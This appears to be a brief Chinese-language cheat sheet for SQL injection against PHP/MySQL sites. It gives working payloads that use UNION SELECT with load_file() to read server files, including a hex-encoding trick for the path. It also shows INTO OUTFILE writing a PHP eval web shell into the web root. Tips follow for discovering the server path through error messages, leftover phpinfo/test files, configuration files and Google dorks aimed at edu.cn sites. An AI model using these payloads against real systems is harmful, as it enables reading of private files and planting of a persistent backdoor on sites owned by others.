文件读取：
1.要么使用“\\”，要么使用“/”，避免使用“\”造成转义
2.load_file("C:/phpStudy/WWW/first.php")可以写成十六进制格式load_file(0xnnnnnnn)
http://127.0.0.1/first.php?x=1 union select load_file("C:/phpStudy/WWW/first.php"),2,3
文件写入：
http://127.0.0.1/first.php?x=1 union select "<?php eval($_GET[‘caidao‘]); ?>",2,3 into outfile "C:/phpStudy/WWW/caidao.php"
网站路径获取方式：
1.报错显示，漏洞报错
2.遗留文件：phpinfo.php、php.php、info.php、test.php
3.读取配置文件
4.社工：域名即路径、google搜索、inurl:edu.cn warning、
